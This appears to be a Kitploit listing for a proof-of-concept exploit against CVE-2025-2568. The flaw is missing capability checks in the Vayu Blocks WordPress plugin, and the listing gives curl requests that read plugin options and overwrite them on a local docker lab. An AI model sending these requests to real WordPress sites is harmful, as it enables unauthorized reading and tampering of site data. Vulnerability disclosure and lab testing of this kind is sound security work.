PoC_CVE-2025-2568 — Proof-of-concept exploit for CVE-2025-2568, demonstrating unauthorized access and modification of WordPress Vayu Blocks plugin options via missing capability checks. | Kitploit

Overview

The Vayu Blocks – Gutenberg Blocks for WordPress & WooCommerce plugin for WordPress is vulnerable to unauthorized access and modification of data due to missing capability checks on the vayu_blocks_get_toggle_switch_values_callback and vayu_blocks_save_toggle_switch_callback function in versions 1.0.4 to 1.2.1. This makes it possible for unauthenticated attackers to read plugin options and update any option with a key name ending in _value.

Exploitation Steps

Setup (using docker)

Clone the repo and follow the steps:
```
cd vuln-wordpress
docker-compose up -d
```

Use this to read the options:

curl http://localhost:8080/wp-json/vayu-blocks/v1/get-toggle-values/

Send a POST request like this to modify the option values.

curl -X POST http://localhost:8080/wp-json/vayu-blocks/v1/save-toggle-switch \
 -H "Content-Type: application/json" \
 -d '{"key":"container", "value":"new_value"}'

PoC_CVE-2025-2568

Most Popular

Exploit:

Exploit Video